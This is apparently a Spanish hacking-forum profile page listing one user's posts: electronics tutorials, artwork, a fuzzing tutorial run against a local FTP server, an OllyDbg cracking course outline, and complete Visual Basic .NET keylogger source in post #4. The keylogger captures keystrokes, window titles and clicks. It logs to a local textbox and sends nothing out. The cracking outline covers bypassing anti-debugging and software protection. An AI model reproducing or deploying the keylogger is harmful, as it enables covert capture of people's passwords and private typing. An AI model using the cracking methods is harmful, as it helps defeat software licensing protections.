Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - dracko.rx

#1
Presentaciones y cumpleaños / La vuelta!
Octubre 27, 2014, 08:16:55 PM
Buenas a todos, hace mucho que no pasaba por aca asique decidi dar un vistado a ver como andan las cosas, me llamo dracko.rx soy del viejo staff de underc0de. :)
#2
Galería / Firma Underc0de
Mayo 05, 2013, 11:02:17 PM
Bueno hoy en mi tiempo libre hice una firma, si bien es bastante simple, llevo su tiempito hacerla. Espero que les guste.

#3
Galería / Wallpaper para Underc0de
Abril 25, 2013, 01:54:29 PM
Llevo tiempo hacerlo, espero que les guste y sino espero criticas constructivas. Saludos

#4
C# - VB.NET / Keylogger Visual Basic .NET
Septiembre 28, 2012, 12:37:25 PM
Este recoje un gran variedad de teclas y obtiene el nombre de la ventana donde se esta escribiendo para mayor informacion y obtiene tambien clicks del mouse solo del boton Izquierdo.

Código: vbnet

'------------------------------------|
'|Keylogger profesional de Robokop   |
'|Este codigo esta reservado         |
'|Para uso personal su distribucion  |
'|esta penada por la ley mexicana.   |
'------------------------------------|

'Este codigo ha sido escrito desde Cero en visual Studio .Net 2005
'Esta versión se encuentra libre de errores y con un warning que
'no eh podido corregir pero no hay problema porque funciona bien y utiliza apis nativas de Vb6
'Ya que en el .NET no he encontrado NameSPace de getAsyncKeyState xD
'Este codigo se ha baso en declaraciones para obtener corresponditenes nombres
'ya que se basa en la resta de 32767 para obtener los caracteres correctos.
'Por cierto fue un lio encontrar los numeros de cada letra ¬¬.

Option Strict Off
Option Explicit On
Imports VB = Microsoft.VisualBasic
Friend Class Form1
Inherits System.Windows.Forms.Form
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
Private Declare Function GetForegroundWindow Lib "user32" () As Integer
Private Declare Function GetWindowText Lib "user32"  Alias "GetWindowTextA"(ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32"  Alias "GetWindowTextLengthA"(ByVal hwnd As Integer) As Integer

Private LastWindow As String
Private LastHandle As Integer
Private dKey(255) As Integer
Private Const VK_SHIFT As Short = &H10s
Private Const VK_CTRL As Short = &H11s
Private Const VK_ALT As Short = &H12s
Private Const VK_CAPITAL As Short = &H14s
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
        'Conversión de caracteres especiales....
        ChangeChr(33) = "[RePag]"
        ChangeChr(34) = "[AvPag]"
        ChangeChr(35) = "[Fin]"
        ChangeChr(36) = "[Inicio]"

        ChangeChr(45) = "[Insertar]"
        ChangeChr(46) = "[Suprimir]"

ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("

ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"

ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"


ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"

ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub

Function TypeWindow() As Object
Dim svar As Object
        'Funcion para saber el tipo de ventana y devolver el nombre.
Dim Handle_Renamed As Integer
Dim textlen As Integer
Dim WindowText As String
        'Obtenemos el nombre de la vetana de fondo
Handle_Renamed = GetForegroundWindow
LastHandle = Handle_Renamed
textlen = GetWindowTextLength(Handle_Renamed) + 1

        WindowText = Space(textlen) 'Obtenemos el espacio del nombre
        svar = GetWindowText(Handle_Renamed, WindowText, textlen) 'Guardamos en la variable svar_
        'El contenido del nombre
WindowText = VB.Left(WindowText, Len(WindowText) - 1)
        'Cuando se hace cambio de ventana se pasa un espacio y se pone un delimitador_
        'con ese delimitador nos damos cuenta de que el nombre ya cambio .
If WindowText <> LastWindow Then
            If Text1.Text <> "" Then Text1.Text = Text1.Text & vbCrLf & vbCrLf
            'Separador que escrimos en el textbox
Text1.Text = Text1.Text & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
            LastWindow = WindowText 'vemos ventana
End If
End Function

Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
        Dim i As Object 'Timer que cada 5 milisegundos checa las pulsaciones de teclas...

        'cuando AlT se preciona.
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
            Text1.Text = Text1.Text & "[ALT]"
End If

        'Obtenemos caracteres de la A a la Z
        'Los obtenemos de una forma For To para Ahorrar codigo en especificar cada _
        'caracter asi que llevamos desde el numero ascii de A hasta la Z_
        'en mayuscula y miniscula
For i = Asc("A") To Asc("Z")

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

                If GetAsyncKeyState(VK_SHIFT) < 0 Then 'Shift
                    If GetKeyState(VK_CAPITAL) > 0 Then
                        Text1.Text = Text1.Text & LCase(Chr(i))
                        Exit Sub
                    Else
                        Text1.Text = Text1.Text & UCase(Chr(i))
                        Exit Sub
                    End If
                Else
                    If GetKeyState(VK_CAPITAL) > 0 Then 'Shift Izq
                        Text1.Text = Text1.Text & UCase(Chr(i))
                        Exit Sub
                    Else
                        Text1.Text = Text1.Text & LCase(Chr(i))
                        Exit Sub
                    End If
                End If

End If
Next

        'Obtenemos numeros del 1 al 0 y signos con shift
        '!"·$%&$%$$$··"·@@~~@€€36$%&$/$·$&&(/
For i = 48 To 57

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_SHIFT) < 0 Then
                    Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
Else

Text1.Text = Text1.Text & Chr(i)
Exit Sub
End If

End If
Next


        'Obtenemos los signos donde estan los numeros en la parte derecha del teclado...
For i = 186 To 192

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_SHIFT) < 0 Then
                    'Negacion-
Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else
                    Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If

End If
Next


'[\]'
For i = 219 To 222

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_SHIFT) < 0 Then

Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else

Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If

End If
Next

        'Diferentes posiciones de Alt en el teclado.:P
        'Por cierto ya casi acabamos.
For i = 96 To 111

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
                    Text1.Text = Text1.Text & "[ALT-abajo]"
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
                        Text1.Text = Text1.Text & "[ALT-arriba]"
End If
End If


Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
Next

        'Barra de Espacio y dejamos un espacio en el text
If GetAsyncKeyState(32) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & " "
End If

        'Enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Enter]"
End If

        'Retroceso
If GetAsyncKeyState(8) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[Retroceso]"
End If

        'Flecha Izq
If GetAsyncKeyState(37) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaIzq]"
End If
        '----Flechas---------
        'Flecha arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaArriba]"
End If

        'Flecha derecha
If GetAsyncKeyState(39) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaDer]"
End If

        'Flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaAbajo]"
End If
        'Fin de flechas--------

        'Tabulador  ------>
        '           <------
If GetAsyncKeyState(9) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[Tabulador]"
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Escape]"
End If

        'Intertar y suprimir
For i = 45 To 46

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
                Text1.Text = Text1.Text & ChangeChr(i)
End If
Next

        'Pagina arriba , pagina abajo ,home y End
For i = 33 To 36
            '
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
                Text1.Text = Text1.Text & ChangeChr(i)
End If
Next

        'Click izquierdo
If GetAsyncKeyState(1) = -32767 Then
            If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'Nos aseguramos que el click fue en la pagina vista
                Text1.Text = Text1.Text & "[ClickIzq]"
            End If
End If

End Sub

    Private Sub Text1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Text1.TextChanged

    End Sub
End Class




Necesita un Timer de intervalo con 5 , puede ser menos pero yo lo probe con ese.
Este codigo fue probado con la versión Visual Studio 2005 Libre de errores y con un solo warning pero funciona sin problemas.
#5
Electrónica y Robótica / Leyes de Kirchhoff
Septiembre 22, 2012, 05:01:38 PM
En esta ocasión hablaremos de dos leyes muy útiles en el análisis de circuitos. Estas leyes són: ley de nodos o de las corrientes y ley de mallas o de las tensiones.
Primera ley de Kirchhoff o ley de las corrientes
La suma algebraica de todas las intensidades que llegan a un nodo es igual a la suma algebraica de todas las intensidades que se alejan del nodo.



Fijaros en la figura de arriba donde tenemos I1,I2 que llegan al nodo y I3,I4 que se alejan del No tienes permitido ver los links. Registrarse o Entrar a mi cuenta adoptamos que es positiva(+) las corrientes que llegan y negativas(-) las corrientes que se alejan, se puede escribir esta ecuación.

I1+I2-I3-I4=0


Donde se deduce que:la suma algebraica de todas las intensidades que concurren en un nodo es igual a cero.

Segunda ley de Kirchhoff o ley de las tensiones

En toda malla o circuito cerrado,la suma algebraica de todas las fem debe ser igual a la suma algebraica de la caida de tensión en todas las resistencias intercaladas a lo largo de aquella malla o circuito cerrado.



En el circuito de arriba tenemos que V3=V1+V2

Recordemos la diferencia que hay entre fem y caida de tensión o ddp (V=RxI).

La fem es producida en una fuente de tensión y proviene de la generación de electricidad por cualquier No tienes permitido ver los links. Registrarse o Entrar a mi cuenta caida de tensión o voltaje es generada a través de una resistencia y viene dada por RxI.Las caidas de voltaje son negativas donde se deduce que:la suma algebraica de las tensiones a lo largo de una malla o contorno es cero.

Saludos.
#6
Electrónica y Robótica / Tester de continuidad
Septiembre 22, 2012, 04:55:39 PM
En esta publicación les presento un interesante proyecto muy fácil de hacer y práctico, que nos permitira comprobar continuidad en pistas de circuitos y cables, por decir alguna de las utilidades que le podes dar al instrumento.

Esquema eléctrico




Lista de componentes

Resistencias (todas de 1/4 w)
1 10k ohmios
2 330 "
1 1k "
1 100k "
1 22k "

Semiconductores
1 555 (timer)
1 hcf4093b (NAND de dos entradas schmitt trigger)
1 led 5mm verde
1 led 5mm rojo

Condensadores
2 10nf

Varios
1 Buzzer polarizado
2 pinzas cocodrilo y cable rojo negro
1 Conector para pila de 9v



Funcionamiento del circuito

Tenemos un sistema de visualización formado por dos led, uno rojo y el otro verde. Estos dos led's estan controlados por un flip-flop r-s hecho con compuertas NAND, estas puertas esta integradas en el HEF4093B.



Luego el timer 555 esta configurado como astable que genera una frecuencia audible cuando el material en prueba es conductor.

Entremos un poco mas en detalle del funcionamiento del circuito. Fijaros en el esquema que hay dos resistencia en serie formando un divisor de tensión resistivo por R3 y R4, en paralelo con R4 hay un punto abierto que es donde se conectara el objeto para saber si es aislante o conductor.


Si es aislante la tensión Vcc se reparte entre R3 y R4, pero como la resistencia R4 es mucho mayor que R3, casi toda la tensión recae en R4, esto se traduce en un nivel lógico(1) que es aplicado al flip-flop r-s formado por las compuertas NAND, esto hace que se mantenga en estado reset y activa el led rojo, el led verde permanece apagado. Por otro lado el timer 555 esta desactivado ya que la patilla 1 que debe estar a tierra esta a un potencial positivo y permanece apagado. En resumen, en esta condición el led rojo permanece encendido y no hay sonido, indicando que el material es aislante.


En la condición de continuidad cuando cerramos el circuito , el punto de unión de la resistencia R3 y R4 queda a tierra, esto se traduce en un nivel lógico (0) que es aplicado al flip-flop r-s haciendolo bascular de su estado reset a set , el led verde se activa y al mismo tiempo pone a tierra al terminal 1 del timer 555, produciendo un sonido en el buzzer. En resumen, en esta condición el led verde permanece encendido y produciendo un sonido indicando que hay continuidad.

Espero que les sirva, Saludos.
#7
Sonda lógica con display 7 segmentos TTL



La sonda lógica es un instrumento de suma utilidad cuando hay que analizar circuitos digitales.Como la mayoría de nosotros ya saben, los circuitos digitales solo trabajan con dos estados o niveles de tensión. Si hablamos de lógica TTL (lógica transistor-transistor) la tensión booleana para el 1 lógico es de +5v y para el 0 lógico es 0v, esta sonda es para analizar circuitos del tipo TTL.


Este es el diagrama eléctricos de la sonda.



Lista de materiales

1 ic7404
1 Display 7 segmentos de ánodo común
1 transistor NPN 2N3904
1 Resistencia 1k
1 Resistencia 10k
1 Resistencia de 470
5 Resistencias de 220
1 Base ic 14 pines
2 Pinzas de cocodrilo roja y negra
1 Punta
cable rojo y negro



Para el chasis del circuito yo he utilizado una funda de plástico de CD.


Funcionamiento del circuito.

El circuito esta dividido en dos partes marcadas como H y L. La etapa H indica una condición alta (1 lógico), la forman las resistencia R2,R3 y R8, el transistor Q1 y los inversores D y E del circuito IC 7404.

La etapa L indica una condición baja (0 lógico), la forman las resistencias R1,R4,R5,R6 y R7 y los inversores A,B y C del circuito IC 7404.



Los inversores B y C forman un buffer de corriente. Su salida controla los segmentos a,b,g y f del display. Cuando este punto es bajo los leds de estos segmentos se iluminan, mostrando un cero en el display. En resumen, cuando se aplica un bajo (0 voltios) a la entrada el inversor A recibe un bajo a través de R1, entrega un alto al buffer C,D y este suministra un bajo a los segmentos a,b,g y f a través de R4,R5,R6 y R7.



Los inversores D y E forman también un buffer de corriente, su salida controla el segmento e del display. Cuando ese punto es bajo, por efecto de un alto en la entrada, el led de este segmento se ilumina, mostrando un 1 en el display. En resumen, cuando se aplica un alto en la entrada el transistor q1 recibe un alto en su base a través de la resistencia R2 y conduce, aplicando un alto a la entrada del buffer C,D. Este último suministrar un bajo al segmento e del display.



Cuando se aplica un tren de impulsos a la entrada, se suceden alternativamente los dos casos expuestos, iluminando los segmentos a,b,e,f y g y el display muestra la letra P, que significa pulsos.



Como pueden apreciar es un montaje fácil, práctico y muy útil!!!

Saludos.
#8


Python se está convirtiendo en el lenguaje de programación elegido por muchos que se dedican al hacking, a la ingeniería inversa y a probar software. La razón principal es que es fácil y rápido de escribir, soporta bajo nivel y tiene bibliotecas que nos hacen felices.

Ya no tendremos que buscar siempre en foros y manuales, Gray Hat Python muestra el uso de Python para una amplia variedad de tareas de hacking. Este libro explica los conceptos detrás de las herramientas de hacking y las técnicas con depuradores, troyanos, fuzzers y emuladores. Pero el autor, Justin Seitz, va más allá de la teoría mostrando cómo aprovechar las herramientas existentes de seguridad basadas en Python - y cómo construir las tuyas propias cuando lo necesites.

Leyendo este libro aprenderas a:

* Automatizar las tediosas tareas de ingeniería inversa y seguridad
* Diseñar y programar tu propio depurador
* Fuzzear drivers de Windows y a crear potentes fuzzers desde el principio
* Divertirte con la inyección de código y librerías, técnicas de soft y hard hooking y otros trucos con software
* Esnifar tráfico seguro de sesión web cifrada
* Usar PyDBG, Immunity Debugger, Sulley, IDAPython, PyEMU y más






No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Espero que les sirva y les guste.

Saludos dracko.rx
#9
C / C++ / Tutorial de iniciación al lenguaje C
Junio 28, 2012, 05:26:17 PM



Les dejo un tutorial sobre el lenguaje C. Espero que les guste.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#10
Tutorial completo sobre cracking con ollydbg.

Contiene 48 partes, los temas son los siguientes:

PARTE 001  -  CONOCIENDO A OLLYDBG - INSTALACION
PARTE 002  -  SISTEMAS NUMERICOS - NUMEROS POSITIVOS - NEGATIVOS - CARACTERES ASCII - QUE ES EL STACK
PARTE 003  -  REGISTROS Y FLAGS
PARTE 004  -  INSTRUCCIONES DE ASSEMBLER -  NOP, PUSH, POP, PUSHAD, POPAD, MOV, MOVSX, MOVZX, LEA, XCHG,
PARTE 005  -  INSTRUCCIONES MATEMATICAS - INC, DEC, ADD, ADC, SUB, SBB, MUL, IMUL, DIV, IDIV, XADD, NEG
                         INSTRUCCIONES LOGICAS - AND, XOR, OR, NOT -
PARTE 006  -  INSTRUCCIONES - COMPARACIONES Y SALTOS CONDICIONALES
PARTE 007  -  INSTRUCCIONES - CALL Y RET
PARTE 008  -  INSTRUCCIONES PARA LOOPS O CICLOS (BUCLES)
PARTE 009  -  PRIMERA APROXIMACION AL CRACKING - CRACKME DE CRUEHEAD
PARTE 010  -  BREAKPOINTS - BP COMUNES, ON MEMORY
PARTE 011  -  BREAKPOINTS - HARDWARE BREAKPOINTS - BP CONDICIONALES
PARTE 012  -  LOS MENSAJES DE WINDOWS - COLOCANDO BP EN LOS MENSAJES DE WINDOWS
PARTE 013  -  PEZCANDO Y REVIRTIENDO SERIALES
PARTE 014  -  PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 015  -  PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 016  -  PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS
PARTE 017  -  PEZCANDO Y REVIRTIENDO SERIALES - HARCODED SERIALS - BUSCANDO EL SERIAL EN LA MEMORIA (CUANDO NO TENEMOS BOTON CHECK)
PARTE 018  -  PEZCANDO Y REVIRTIENDO SERIALES - BUSCANDO EL SERIAL EN LA MEMORIA (CUANDO NO TENEMOS BOTON CHECK)
PARTE 019  -  PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - api: IsDebuggerPresent -
PARTE 020  -  PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - POR NOMBRE DEL PROCESO - api: EnumProcesses
PARTE 021  -  PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - POR NOMBRE DEL PROCESO - POR NOMBRE O CLASE DE LA VENTANA - api: CreateToolhelp32Snapshot, Process32First, Process32Next, FindWindowA
PARTE 022  -  PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - apis: UnhandeldExceptionFilter - ZwQueryInformationProcess
PARTE 023  -  PROTECCIONES ANTIDEBUGGER - COMO EVITARLAS MANUALMENTE Y CON PLUGINS - ProcessHeapFlag  y  NTGlobalFlag
PARTE 024  -  PROTECCIONES ANTIDEBUGGER - Resolviendo el Antisocial de la parte 23
PARTE 025  -  EXCEPCIONES
PARTE 026  -  CRACKEANDO VISUAL BASIC - NAGS

PARTE 027  -  CRACKEANDO VISUAL BASIC - NAGS, METODO DEL 4C
PARTE 028  -  CRACKEANDO VISUAL BASIC - INJERTAR EN DLL (MODIFICARLA)
PARTE 029  -  CRACKEANDO VISUAL BASIC - P-CODE
PARTE 030  -  CRACKEANDO VISUAL BASIC - P-CODE 2DA PARTE
PARTE 031  -  UNPACKING - NICIONES BASICAS
PARTE 032  -  UNPACKING - BUSCAR OPCODES, BUSCADOR DE OEP DE OLLY, METODO PUSHADD, METODO EXCEPCIONES, METODO API MUY USADA,
         METO PRIMERA API EJECUTADA
PARTE 033  -  UNPACKING - QUE ES IAT Y COMO REPARARLA
PARTE 034  -  UNPACKING - CON AYUDA DE PE TOOLS, IMPREC
PARTE 035  -  UNPACKING - CON OLLYDUMP, IMPREC  (EJEMPLO ASPACK)
PARTE 036  -  UNPACKING - CON OLLYDUMP, IMPREC  (OTRO EJERCICIO PRACTICO)
PARTE 037  -  UNPACKING - REPARAR ENTRADAS REDIRECCIONADAS
PARTE 038  -  UNPACKING - REPARAR ENTRADAS REDIRECCIONADAS
PARTE 039  -  STOLEN BYTES Y SCRIPTS
PARTE 040  -  SCRIPTS   (DESEMPACADO DEL PELOCK)
PARTE 041  -  SCRIPTS   (CONT. DESEMPACADO DEL PELOCK)
PARTE 042  -  UNPACKING - STOLEN BYTES (ACPROTECT 1.09)
PARTE 043  -  UNPACKING - REPARAR STOLEN BYTES (ACPROTECT 1.09)
PARTE 044  -  UNPACKING - REPARAR IAT - SCRIPTS (ACPROTECT 1.09)
PARTE 045  -  UNPACKING - REPARAR IAT - DUMPEADO (ACPROTECT 1.09)
PARTE 046  -  UNPACKING - FATMIKE
PARTE 047  -  UNPACKING - FATMIKE (2DA PARTE)
PARTE 048  -  UNPACKING - PESPIN 1.304





No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: Ricardo Navaja
#11
Bueno ayer hablando de varios temas con mi novia me conto que habia visto en la televicion una noticia sobre esta mistoriosa pagina de internet que salio, llamada No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .. Busque por muchos lados en la Red pero nadie supo decirme que es concretamente y para que sirve..

Una de las curiosidades que vi en la pagina es que Copyfight en vez de Copyright ..

La verdad que me intriga mucho saber que es y para que esta esa web.. Si Alguien sabe del tema me gustaria que lo comenten.

Saludos, Dracko.rx
#12
Bugs y Exploits / ¿Qué son los Fuzzers?
Febrero 25, 2010, 11:55:40 AM
¿Fuzzing, Fuzzers que es todo esto?

  [idea] Para comenzar, diremos que se conoce como "Fuzzing" a las diferentes técnicas de software automatizadas, capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado.

[idea] Las herramientas con capacidad de "Fuzzing", a menudo son conocidas como "Fuzzers", y dependiendo de la implementación que cada una de estas herramientas haga de las técnicas de "Fuzzing", es probable que existan tipos que se ajusten mejor a cada una de las diferentes necesidades del researcher o profesional a cargo del testing (Protocolos / Networking, Application / WebApplication, etc.).

[idea] Si bien es cierto que el concepto de "Fuzzing" es de ámbito general de acuerdo a lo mencionado, quizás no sea mala idea el que conozcas como funciona cada una de las herramientas a tu alcance, antes de decidir su tilización en alguno de tus proyectos personales.

[idea] Pero imagino que probablemente exista quien aún no haya entendido a lo que me estoy refiriendo, por tanto me permitiré tomar el siguiente ejemplo: Supongamos que necesitamos conocer si una aplicación en particular posee algún tipo de Buffer Overflow, a fin de detectar este tipo de situación, un tester sencillamente podría generar datos de distintos tamaños y enviar estos a uno de los puntos de entrada existentes en la aplicación, con el objeto de observar su comportamiento ante estas pruebas o mejor dicho como estos requerimientos son manejados. Si el programa a testear falla en tal menester, esto significara dos cosas: que hay defectos que corregir, y que probablemente sea posible explotar la falla.

[idea] De acuerdo a lo mencionado hasta aquí, podemos inferir que el principal uso del Fuzzing, es el de testear software (servicios, protocolos, aplicaciones, etc.) con el objeto de encontrar defectos de desarrollo o implementación. Este testing no solo puede (y debe) ser llevado a cabo como parte del ciclo de vida de un desarrollo, sino que también comprende un método excelente de testeo a ser aplicado como parte de pentest del tipo "BlackBox". Debido a su relativa sencillez, estas técnicas a menudo poseen una relación costo beneficio altamente efectiva. A pesar de esto, el Fuzzing no reemplaza el testing manual o los métodos tradicionales de testeo de software y QA, este solo podrá proveernos de una serie de pruebas aleatorias que podrían mostrarnos solo una parte del
problema.

  Fuzzing de Protocolos

[idea] El "Fuzzing" de protocolos, no es muy diferente al "Fuzzing" de aplicación. Cada protocolo posee su propio set de parámetros y una estructura que a menudo puede ser testeada. Los "Fuzzers" basan parte de su tarea en la ventaja que les brinda el conocer exactamente como "debería" funcionar determinado protocolo basándose en los RFCs relacionados a tal o cual de ellos. De este modo, el Fuzzer sabe que debe esperar de cada una de las pruebas a las que someterá al protocolo a testear (o mejor dicho su implementación) y podrá alertar al tester cuando encuentre una respuesta que no ha podido ser manejada o ha sido manejada erróneamente.

[idea] Pero ¿como hace realmente un Fuzzer para llevar a cabo su tarea? a fin de ejemplificar su operatoria, me basaré de un ejemplo que oportunamente publicara Sacha Faust, de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  en un excelente paper que aprovecho a recomendar desde aquí, el cual se denomina "Web Application Testing with SPI Fuzzer". 

[idea] Cuando se trabaja con fuzzing sobre HTTP, generalmente se intenta testear al menos cada uno de los siguientes aspectos del protocolo o su implementación:

[idea] Para que quede un tanto mas claro, la idea detrás del fuzzing de protocolo http en este ejemplo, es básicamente la de parsear cada uno de los aspectos que componen el protocolo y testear mediante la generación de determinados requerimientos, cada uno de estos componentes en forma individual, a fin de  identificar el modo en que la implementación maneja las excepciones o inclusive la alteración de tráfico real.

[idea] El request HTTP citado a continuación, corresponde a un requerimiento real hecho por un browser a un sitio web determinado. Las partes dispuestas en color rojo, representan algunos de los datos/campos que tal como mencionáramos en el párrafo anterior podrían ser sometidos a "Fuzzing" en forma individual, a fin de observar su comportamiento:

  El primer Acercamiento: Fuzzer 1.1

[idea] Bien, ahora que conoces conceptualmente alguno de los aspectos más importantes en torno al Fuzzing, creo que es hora de dar nuestros primeros pasos en la utilización de alguna herramienta que implemente este tipo de técnicas.

[idea] Una rápida búsqueda en Google, probablemente arroje una serie de páginas con links a algunas de las herramientas más populares. Algunos buenos ejemplos de estas, sin lugar a dudas sean: SPIKE 2.9 de Immunitysec, mielietools 1.0 de Sensepost, SPI Fuzzer de SPI Dynamics y Fuzzer 1.1 de Sergio "Shadown" Alvarez.

[idea] A los efectos de ilustrar este artículo, he decidido utilizar mi preferido: Fuzzer 1.1 de  Sergio "Shadown" Alvarez. Los motivos de esta elección son varios. En primer lugar, su código se encuentra disponible y se distribuye bajo GPL. En segundo lugar, es pequeño, sencillo, potente, rápido y esta escrito en Python .

[idea] Antes de comenzar vamos a asegurarnos de que has obtenido lo necesario como para tener Fuzzer 1.1 funcionando en tu equipo de pruebas:

  Python 2.2:Puesto que Fuzzer 1.1, se encuentra desarrollado en Python, la instalación de este entorno resulta imprescindible

  pyOpenSSL:A fin de manejar en forma correcta el tráfico SSL, Fuzzer 1.1 requiere tener instaladas las librerías provistas por este wrapper de nombre pyOpenSSL  . Su instalación es sumamente sencilla y no deberías tener problemas para tener funcionando esta en segundos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Fuzzer 1.1

  Descargar Fuzzer 1.1 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

[idea] Fuzzer 1.1 es una sencilla y potente herramienta de "fuzzing" desarrollada por Sergio "Shadown" Alvarez . Esta se entrega con los protocolos FTP, SMTP y POP3 declarados por defecto y listos para usar,  aunque debido a su concepción modular, el agregado de nuevos protocolos, debería resultar en una tarea sencilla pro medio de la edición del archivo de configuración "protocols.py". Al descargar el tar.gz, no tendrás más que disponer de un directorio (fuzzer-1.1 por defecto) donde descomprimir sus archivos y comenzar a disfrutar de sus bondades.

[idea] Ok, si todo ha salido bien, tu sistema contará a partir de este momento, con una instalación de Python, las rutinas SSL requeridas por la aplicación, y Fuzzer 1.1 lista para ser ejecutada. Para constatar que todo este funcionando, sencillamente abriremos  una ventana de comandos (Ejecutar-->CMD.exe-->Enter),  nos situaremos sobre el directorio donde hemos instalado Fuzzer 1.1, y ejecutaremos la siguiente línea:


Código: php
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py 


  Luego de dar entrada al comando anterior, deberías estar viendo la ayuda de Fuzzer 1.1 tal como se muestra en la Imagen.



[idea] Felicitaciones!!
ya estas en condiciones de comenzar a realizar testear algunas aplicaciones y protocolos!, que ¿como haces esto? bien... la verdad es que la respuesta acuanto tus conocimientos de lenguajes de programación, protocolos, networking y seguridad, pero para no decepcionarte vamos a descargar un viejo programa FTP muy conocido por su popularidad y por la existencia de algunos Buffer Overflows encontrados en algunas de sus versiones, en particular en la 1.65, se trata de War FTP Daemon

  Descargar War FTPD Daemon 1.65No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

[idea] Ok, te diré lo que haremos ahora para poder probar la efectividad de Fuzzer 1.1 en la detección de posibles bugs en el software... Descargado e instalado este servidor FTP(Setup.exe), procederemos a ejecutarlo (war-ftpd.exe). Luego de dar OK en la pantalla de bienvenida, nos encargaremos de que el servicio FTP se ponga a correr... para esto, deberemos hacer click en el icono ilustrado con un rayo



Ya es hora, abriremos ahora una nueva ventana de comando (CMD.EXE), ingresaremos al directorio donde hayamos instalado el Fuzzer, y procederemos a ejecutarlo con la siguiente línea de comando:

Código: php
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py –h localhost –p 21 –t FTP 




[idea] Perfecto, luego de dar entrada a esta línea, Fuzzer se pondrá a trabajar creando y enviando paquetes, para luego evaluar su resultado .



